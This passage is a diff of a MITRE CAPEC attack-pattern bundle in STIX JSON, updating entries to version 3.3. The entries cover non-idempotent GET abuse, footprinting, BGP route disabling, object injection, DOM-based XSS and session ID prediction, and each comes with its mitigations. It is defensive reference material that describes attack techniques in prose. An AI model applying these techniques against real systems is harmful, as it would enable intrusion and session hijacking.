there is no access control mechanism to back up this logic. This means that unless the services are properly ACL'd and the application's service implementation are following these guidelines then an HTTP request can easily execute a delete or update on the server side. The attacker identifies a HTTP Get URL such as http://victimsite/updateOrder, which calls out to a program to update orders on a database or other resource. The URL is not idempotent so the request can be submitted multiple times by the attacker, additionally, the attacker may be able to exploit the URL published as a Get method that actually performs updates (instead of merely retrieving data). This may result in malicious or inadvertent altering of data on the server.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -34297,7 +37494,7 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "created": "2014-06-23T00:00:00.000Z", - "modified": "2015-12-07T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "external_references": [ { "source_name": "capec", @@ -34353,74 +37550,79 @@ "The HTTP Get method is designed to retrieve resources and not to alter the state of the application or resources on the server side. However, developers can easily code programs that accept a HTTP Get request that do in fact create, update or delete data on the server. Both Flickr (http://www.flickr.com/services/api/flickr.photosets.delete.html) and del.icio.us (http://del.icio.us/api/posts/delete) have implemented delete operations using standard HTTP Get requests. These HTTP Get methods do delete data on the server side, despite being called from Get which is not supposed to alter state." ], "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--74bac7d9-693d-40d2-82bf-eb132f13bcaf" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "relationship--b8f217ad-8701-4a9c-9a22-a4c6022c4f51", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2015-12-07T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--b8f217ad-8701-4a9c-9a22-a4c6022c4f51", "source_ref": "course-of-action--a4112a44-a0f9-4bde-bebe-74ed96c4cd3f", "relationship_type": "mitigates", "target_ref": "attack-pattern--74bac7d9-693d-40d2-82bf-eb132f13bcaf" }, { + "id": "course-of-action--b77def1e-db69-4204-b59f-c9ba934af034", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2015-12-07T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-58-1", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Implementation: Ensure that HTTP Get methods only retrieve state and do not alter state on the server side", - "type": "course-of-action", - "id": "course-of-action--b77def1e-db69-4204-b59f-c9ba934af034" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--09b1f116-7e91-47fc-8238-758d20861790", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2015-12-07T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--09b1f116-7e91-47fc-8238-758d20861790", "source_ref": "course-of-action--b77def1e-db69-4204-b59f-c9ba934af034", "relationship_type": "mitigates", "target_ref": "attack-pattern--74bac7d9-693d-40d2-82bf-eb132f13bcaf" }, { + "id": "course-of-action--4f4d6165-fc50-42ef-9249-e1052676d841", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2015-12-07T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-58-2", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Implementation: Ensure that HTTP methods have proper ACLs based on what the functionality they expose", - "type": "course-of-action", - "id": "course-of-action--4f4d6165-fc50-42ef-9249-e1052676d841" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--4a8f4717-a1fc-4334-8819-fadd7bafdf0f", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2015-12-07T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--4a8f4717-a1fc-4334-8819-fadd7bafdf0f", "source_ref": "course-of-action--4f4d6165-fc50-42ef-9249-e1052676d841", "relationship_type": "mitigates", "target_ref": "attack-pattern--74bac7d9-693d-40d2-82bf-eb132f13bcaf" }, { + "id": "attack-pattern--22a65c6a-9498-4e7f-a03a-030ab1c907dc", "name": "Application Footprinting", "description": "An adversary engages in active probing and exploration activities to determine the type or version of an application installed on a remote target. This differs from fingerprinting where the attacker's action is passive through the examination of application output.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -34428,12 +37630,18 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "created": "2015-11-09T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "external_references": [ { "source_name": "capec", "url": "https://capec.mitre.org/data/definitions/580.html", "external_id": "CAPEC-580" + }, + { + "source_name": "ATTACK", + "description": "Software Discovery", + "url": "https://attack.mitre.org/wiki/Technique/T1518", + "external_id": "T1518" } ], "x_capec_likelihood_of_attack": "Low", @@ -34451,19 +37659,19 @@ }, "x_capec_abstraction": "Standard", "x_capec_status": "Stable", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--22a65c6a-9498-4e7f-a03a-030ab1c907dc" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "relationship--5ec163f5-ff75-4e9d-ac8d-0bd09b3e9121", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2015-11-09T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--5ec163f5-ff75-4e9d-ac8d-0bd09b3e9121", "source_ref": "course-of-action--a7d31992-837d-4b43-91fb-5fd7cffc161b", "relationship_type": "mitigates", "target_ref": "attack-pattern--22a65c6a-9498-4e7f-a03a-030ab1c907dc" @@ -34471,17 +37679,19 @@ { "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2015-11-09T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--8fd5a0d0-cbc5-4de2-9893-1897dee86f21", - "source_ref": "course-of-action--8ec791fe-a36a-4b9c-9c52-2f867c466c2f", + "id": "relationship--8b970172-c7e3-45aa-a1de-1362a7f5756c", + "source_ref": "course-of-action--a2404315-1d87-4e47-a8e4-c6b2cfe457d8", "relationship_type": "mitigates", "target_ref": "attack-pattern--22a65c6a-9498-4e7f-a03a-030ab1c907dc" }, { + "id": "attack-pattern--c95fac2f-4305-4235-9228-a0551ec75c70", "name": "Security Software Footprinting", "description": "Adversaries may attempt to get a listing of security tools that are installed on the system and their configurations. This may include security related system features (such as a built-in firewall or anti-spyware) as well as third-party security software.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -34489,46 +37699,54 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "created": "2015-11-09T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "external_references": [ { "source_name": "capec", "url": "https://capec.mitre.org/data/definitions/581.html", "external_id": "CAPEC-581" + }, + { + "source_name": "ATTACK", + "description": "Software Discovery:Security Software Discovery", + "url": "https://attack.mitre.org/wiki/Technique/T1518/001", + "external_id": "T1518.001" } ], "x_capec_abstraction": "Detailed", "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--c95fac2f-4305-4235-9228-a0551ec75c70" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2015-11-09T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-581-0", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], - "description": "Identify programs that may be used to acquire security tool information and block them by using a software restriction policy or tools that restrict program execution by process whitelisting.", + "description": "Identify programs that may be used to acquire security tool information and block them by using a software restriction policy or tools that restrict program execution by using a process allowlist.", + "x_capec_version": "3.3", "type": "course-of-action", - "id": "course-of-action--adc7bda2-4231-428e-8d5d-0bb1cef9e852" + "id": "course-of-action--5e2e2530-ac1b-4b0a-8889-a7058a982190" }, { "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2015-11-09T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--cbf75dcf-96ad-437e-b191-29fcfbb5758d", - "source_ref": "course-of-action--adc7bda2-4231-428e-8d5d-0bb1cef9e852", + "id": "relationship--679fbac3-8799-4a09-948f-0d9e83b3765f", + "source_ref": "course-of-action--5e2e2530-ac1b-4b0a-8889-a7058a982190", "relationship_type": "mitigates", "target_ref": "attack-pattern--c95fac2f-4305-4235-9228-a0551ec75c70" }, { + "id": "attack-pattern--795c323b-cae6-4846-99f1-dad3fe0ab8e8", "name": "Route Disabling", "description": "An adversary disables the network route between two targets. The goal is to completely sever the communications channel between two entities. This is often the result of a major error or the use of an \"Internet kill switch\" by those in control of critical infrastructure. This attack pattern differs from most other obstruction patterns by targeting the route itself, as opposed to the data passed over the route.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -34556,11 +37774,11 @@ }, "x_capec_abstraction": "Standard", "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--795c323b-cae6-4846-99f1-dad3fe0ab8e8" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "attack-pattern--0a765348-6b5a-4797-9724-44b4fc4f9c55", "name": "Disabling Network Hardware", "description": "In this attack pattern, an adversary physically disables networking hardware by powering it down or disconnecting critical equipment. Disabling or shutting off critical system resources prevents them from performing their service as intended, which can have direct and indirect consequences on other systems. This attack pattern is considerably less technical than the selective blocking used in most obstruction attacks.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -34592,11 +37810,11 @@ }, "x_capec_abstraction": "Detailed", "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--0a765348-6b5a-4797-9724-44b4fc4f9c55" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "course-of-action--f175c018-1dfe-4c0d-bec0-f5b9afb1d6a7", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2017-01-12T00:00:00.000Z", "modified": "2019-09-30T00:00:00.000Z", @@ -34605,23 +37823,25 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Ensure rigorous physical defensive measures to keep the adversary from accessing critical systems..", - "type": "course-of-action", - "id": "course-of-action--f175c018-1dfe-4c0d-bec0-f5b9afb1d6a7" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--52c0fc53-41a5-4784-b605-f2404b5643c9", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2017-01-12T00:00:00.000Z", "modified": "2019-09-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--52c0fc53-41a5-4784-b605-f2404b5643c9", "source_ref": "course-of-action--f175c018-1dfe-4c0d-bec0-f5b9afb1d6a7", "relationship_type": "mitigates", "target_ref": "attack-pattern--0a765348-6b5a-4797-9724-44b4fc4f9c55" }, { + "id": "attack-pattern--eb0ebb0b-d4e1-4480-87a8-043d6f93c972", "name": "BGP Route Disabling", "description": "An adversary suppresses the Border Gateway Protocol (BGP) advertisement for a route so as to render the underlying network inaccessible. The BGP protocol helps traffic move throughout the Internet by selecting the most efficient route between Autonomous Systems (AS), or routing domains. BGP is the basis for interdomain routing infrastructure, providing connections between these ASs. By suppressing the intended AS routing advertisements and/or forcing less effective routes for traffic to ASs, the adversary can deny availability for the target network.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -34665,11 +37885,11 @@ "Blackholing: The adversary intentionally references false routing advertisements in order to attract traffic to a particular router so it can be dropped." ], "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--eb0ebb0b-d4e1-4480-87a8-043d6f93c972" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "course-of-action--b1aea8dc-490e-436c-b83e-1d92b0fb0581", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2017-01-12T00:00:00.000Z", "modified": "2019-09-30T00:00:00.000Z", @@ -34678,23 +37898,25 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "\n Implement Ingress filters to check the validity of received routes. However, this relies on the accuracy of Internet Routing Registries (IRRs) databases which are often not well-maintained.\n Implement Secure BGP (S-BGP protocol), which improves authorization and authentication capabilities based on public-key cryptography.\n ", - "type": "course-of-action", - "id": "course-of-action--b1aea8dc-490e-436c-b83e-1d92b0fb0581" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--c2fdcb1a-c77d-476e-b106-861ecaab0081", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2017-01-12T00:00:00.000Z", "modified": "2019-09-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--c2fdcb1a-c77d-476e-b106-861ecaab0081", "source_ref": "course-of-action--b1aea8dc-490e-436c-b83e-1d92b0fb0581", "relationship_type": "mitigates", "target_ref": "attack-pattern--eb0ebb0b-d4e1-4480-87a8-043d6f93c972" }, { + "id": "attack-pattern--3cedbb3a-e97f-4bc7-ac36-2c1f0c360d08", "name": "DNS Domain Seizure", "description": "In this attack pattern, an adversary influences a target's web-hosting company to disables a target domain. The goal is to prevent access to the targeted service provided by that domain. It usually occurs as the result of civil or criminal legal interventions.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -34729,11 +37951,11 @@ "The FBI's seizure of gambling websites, the US DOJ's seizure of child pornography websites, and Microsoft's seizure of all domains owned by the company No-IP in order to disrupt a cyberattack originating from a subset of those domains." ], "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--3cedbb3a-e97f-4bc7-ac36-2c1f0c360d08" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "attack-pattern--5e767629-8d94-46f3-a277-741d163bff95", "name": "Object Injection", "description": "An adversary attempts to exploit an application by injecting additional, malicious content during its processing of serialized objects. Developers leverage serialization in order to convert data or state into a static, binary format for saving to disk or transferring over a network. These objects are then deserialized when needed to recover the data/state. By injecting a malformed object into a vulnerable application, an adversary can potentially compromise the application by manipulating the deserialization process. This can result in a number of unwanted outcomes, including remote code execution.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -34741,7 +37963,7 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "created": "2017-02-06T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "external_references": [ { "source_name": "capec", @@ -34777,36 +37999,38 @@ }, "x_capec_abstraction": "Meta", "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--5e767629-8d94-46f3-a277-741d163bff95" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2017-02-06T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-586-0", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], - "description": "\n Implementation: Validate object before deserialization process\n Design: Limit which types can be deserialized.\n Implementation: Avoid having unnecessary types or gadgets available that can be leveraged for malicious ends. Whitelist acceptable classes.\n Implementation: Keep session state on the server, when possible.\n ", + "description": "\n Implementation: Validate object before deserialization process\n Design: Limit which types can be deserialized.\n Implementation: Avoid having unnecessary types or gadgets available that can be leveraged for malicious ends. Use an allowlist of acceptable classes.\n Implementation: Keep session state on the server, when possible.\n ", + "x_capec_version": "3.3", "type": "course-of-action", - "id": "course-of-action--a58d4a41-c85f-438a-8191-b0a754c0db82" + "id": "course-of-action--288176ef-c273-4040-896b-287390941aa6" }, { "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2017-02-06T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--4c93d3ad-aa44-4c5c-bbc1-9c519c8ccdcc", - "source_ref": "course-of-action--a58d4a41-c85f-438a-8191-b0a754c0db82", + "id": "relationship--9c53daf4-034c-4f81-99aa-3c965c75a5e1", + "source_ref": "course-of-action--288176ef-c273-4040-896b-287390941aa6", "relationship_type": "mitigates", "target_ref": "attack-pattern--5e767629-8d94-46f3-a277-741d163bff95" }, { + "id": "attack-pattern--0184fd4d-9134-42c0-b073-5e614773d408", "name": "Cross Frame Scripting (XFS)", "description": "This attack pattern combines malicious Javascript and a legitimate webpage loaded into a concealed iframe. The malicious Javascript is then able to interact with a legitimate webpage in a manner that is unknown to the user. This attack usually leverages some element of social engineering in that an attacker must convinces a user to visit a web page that the attacker controls.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -34848,11 +38072,11 @@ "An adversary-controlled webpage contains malicious Javascript and a concealed iframe containing containing a legitimate website login (i.e., the concealed iframe would make it appear as though the actual legitimate website was loaded). When the user interacts with the legitimate website in the iframe, the malicious Javascript collects that sensitive information." ], "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--0184fd4d-9134-42c0-b073-5e614773d408" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "course-of-action--e092afcb-39f9-445b-9a2d-7fdd6f714173", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2017-02-01T00:00:00.000Z", "modified": "2019-04-04T00:00:00.000Z", @@ -34861,23 +38085,25 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "\n Avoid clicking on untrusted links.\n Employ techniques such as frame busting, which is a method by which developers aim to prevent their site being loaded within a frame.\n ", - "type": "course-of-action", - "id": "course-of-action--e092afcb-39f9-445b-9a2d-7fdd6f714173" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--253ca913-a655-4c96-b257-1532e804fea7", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2017-02-01T00:00:00.000Z", "modified": "2019-04-04T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--253ca913-a655-4c96-b257-1532e804fea7", "source_ref": "course-of-action--e092afcb-39f9-445b-9a2d-7fdd6f714173", "relationship_type": "mitigates", "target_ref": "attack-pattern--0184fd4d-9134-42c0-b073-5e614773d408" }, { + "id": "attack-pattern--b1eef783-daae-494c-a418-cd9ada7cbe8b", "name": "DOM-Based XSS", "description": "This type of attack is a form of Cross-Site Scripting (XSS) where a malicious script is inserted into the client-side HTML being parsed by a web browser. Content served by a vulnerable web application includes script code used to manipulate the Document Object Model (DOM). This script code either does not properly validate input, or does not perform proper output encoding, thus creating an opportunity for an adversary to inject a malicious script launch a XSS attack. A key distinction between other XSS attacks and DOM-based attacks is that in other XSS attacks, the malicious script runs when the vulnerable web page is initially loaded, while a DOM-based attack executes sometime after the page loads. Another distinction of DOM-based attacks is that in some cases, the malicious script is never sent to the vulnerable web server at all. An attack like this is guaranteed to bypass any server-side filtering attempts to protect users.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -34959,11 +38185,11 @@ "\n In some DOM-based attacks, the malicious script never gets sent to the web server at all, thus bypassing any server-side protections that might be in place. Consider the previously used web application that displays the mode value. Since the HTML is being generated dynamically through DOM manipulations, a URL fragment (i.e., the part of a URL after the '#' character) can be used.\n http://my.site.com/aform.html#mode=\n In this variation of a DOM-based XSS attack, the malicious script will not be sent to the web server, but will instead be managed by the victim's browser and is still available to the client-side script code.\n " ], "x_capec_status": "Stable", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--b1eef783-daae-494c-a418-cd9ada7cbe8b" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "course-of-action--7dc1cd16-6e36-4b01-bee9-f089fc544d5a", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2017-04-15T00:00:00.000Z", "modified": "2019-04-04T00:00:00.000Z", @@ -34972,23 +38198,25 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Use browser technologies that do not allow client-side scripting.", - "type": "course-of-action", - "id": "course-of-action--7dc1cd16-6e36-4b01-bee9-f089fc544d5a" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--279f0698-c251-4497-8cf6-8dd35638757e", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2017-04-15T00:00:00.000Z", "modified": "2019-04-04T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--279f0698-c251-4497-8cf6-8dd35638757e", "source_ref": "course-of-action--7dc1cd16-6e36-4b01-bee9-f089fc544d5a", "relationship_type": "mitigates", "target_ref": "attack-pattern--b1eef783-daae-494c-a418-cd9ada7cbe8b" }, { + "id": "course-of-action--581c316a-7f9b-45f5-bb4d-b096f6162dab", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2017-04-15T00:00:00.000Z", "modified": "2019-04-04T00:00:00.000Z", @@ -34997,23 +38225,25 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Utilize proper character encoding for all output produced within client-site scripts manipulating the DOM.", - "type": "course-of-action", - "id": "course-of-action--581c316a-7f9b-45f5-bb4d-b096f6162dab" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--c6f81714-a1aa-46d0-ad1e-fdbfa6e5814e", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2017-04-15T00:00:00.000Z", "modified": "2019-04-04T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--c6f81714-a1aa-46d0-ad1e-fdbfa6e5814e", "source_ref": "course-of-action--581c316a-7f9b-45f5-bb4d-b096f6162dab", "relationship_type": "mitigates", "target_ref": "attack-pattern--b1eef783-daae-494c-a418-cd9ada7cbe8b" }, { + "id": "course-of-action--2e2e8032-4e25-4013-b914-eb89f14df01f", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2017-04-15T00:00:00.000Z", "modified": "2019-04-04T00:00:00.000Z", @@ -35022,23 +38252,25 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Ensure that all user-supplied input is validated before use.", - "type": "course-of-action", - "id": "course-of-action--2e2e8032-4e25-4013-b914-eb89f14df01f" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--19dedc30-dbcc-4fd6-bad2-bade72cef5d9", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2017-04-15T00:00:00.000Z", "modified": "2019-04-04T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--19dedc30-dbcc-4fd6-bad2-bade72cef5d9", "source_ref": "course-of-action--2e2e8032-4e25-4013-b914-eb89f14df01f", "relationship_type": "mitigates", "target_ref": "attack-pattern--b1eef783-daae-494c-a418-cd9ada7cbe8b" }, { + "id": "attack-pattern--5a002211-15f2-487f-8a5d-b09150ac1138", "name": "DNS Blocking", "description": "An adversary intercepts traffic and intentionally drops DNS requests based on content in the request. In this way, the adversary can deny the availability of specific services or content to the user even if the IP address is changed.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -35078,11 +38310,11 @@ "\n Full URL Based Filtering: Filtering based upon the requested URL.\n URL String-based Filtering: Filtering based upon the use of particular strings included in the requested URL.\n " ], "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--5a002211-15f2-487f-8a5d-b09150ac1138" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "course-of-action--7bcf9017-dee6-49ee-aa9a-8214d955e01e", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2017-01-12T00:00:00.000Z", "modified": "2019-04-04T00:00:00.000Z", @@ -35091,23 +38323,25 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "\n Hard Coded Alternate DNS server in applications\n Avoid dependence on DNS\n Include \"hosts file\"/IP address in the application\n Ensure best practices with respect to communications channel protections.\n Use a .onion domain with Tor support\n ", - "type": "course-of-action", - "id": "course-of-action--7bcf9017-dee6-49ee-aa9a-8214d955e01e" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--bc6333b4-a61c-4850-b8bf-704289281ab6", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2017-01-12T00:00:00.000Z", "modified": "2019-04-04T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--bc6333b4-a61c-4850-b8bf-704289281ab6", "source_ref": "course-of-action--7bcf9017-dee6-49ee-aa9a-8214d955e01e", "relationship_type": "mitigates", "target_ref": "attack-pattern--5a002211-15f2-487f-8a5d-b09150ac1138" }, { + "id": "attack-pattern--7ee89c1f-50a5-42e6-abdb-6d8ba0349810", "name": "Session Credential Falsification through Prediction", "description": "This attack targets predictable session ID in order to gain privileges. The attacker can predict the session ID used during a transaction to perform spoofing and session hijacking.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -35115,7 +38349,7 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "created": "2014-06-23T00:00:00.000Z", - "modified": "2017-08-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "external_references": [ { "source_name": "capec", @@ -35215,137 +38449,148 @@ "Jetty before 4.2.27, 5.1 before 5.1.12, 6.0 before 6.0.2, and 6.1 before 6.1.0pre3 generates predictable session identifiers using java.util.random, which makes it easier for remote attackers to guess a session identifier through brute force attacks, bypass authentication requirements, and possibly conduct cross-site request forgery attacks. See also: CVE-2006-6969", "mod_usertrack in Apache 1.3.11 through 1.3.20 generates session ID's using predictable information including host IP address, system time and server process ID, which allows local users to obtain session ID's and bypass authentication when these session ID's are used for authentication. See also: CVE-2001-1534" ], + "x_capec_execution_flow": "

Execution Flow

Explore

  1. Find Session IDs: The attacker interacts with the target host and finds that session IDs are used to authenticate users.

    2. Techniques
    An attacker makes many anonymous connections and records the session IDs assigned.
    An attacker makes authorized connections and records the session tokens or credentials issued.

  2. Characterize IDs: The attacker studies the characteristics of the session ID (size, format, etc.). As a results the attacker finds that legitimate session IDs are predictable.

    3. Techniques
    Cryptanalysis. The attacker uses cryptanalysis to determine if the session IDs contain any cryptographic protections.
    Pattern tests. The attacker looks for patterns (odd/even, repetition, multiples, or other arithmetic relationships) between IDs
    Comparison against time. The attacker plots or compares the issued IDs to the time they were issued to check for correlation.

Experiment

  1. Match issued IDs: The attacker brute forces different values of session ID and manages to predict a valid session ID.

    2. Techniques
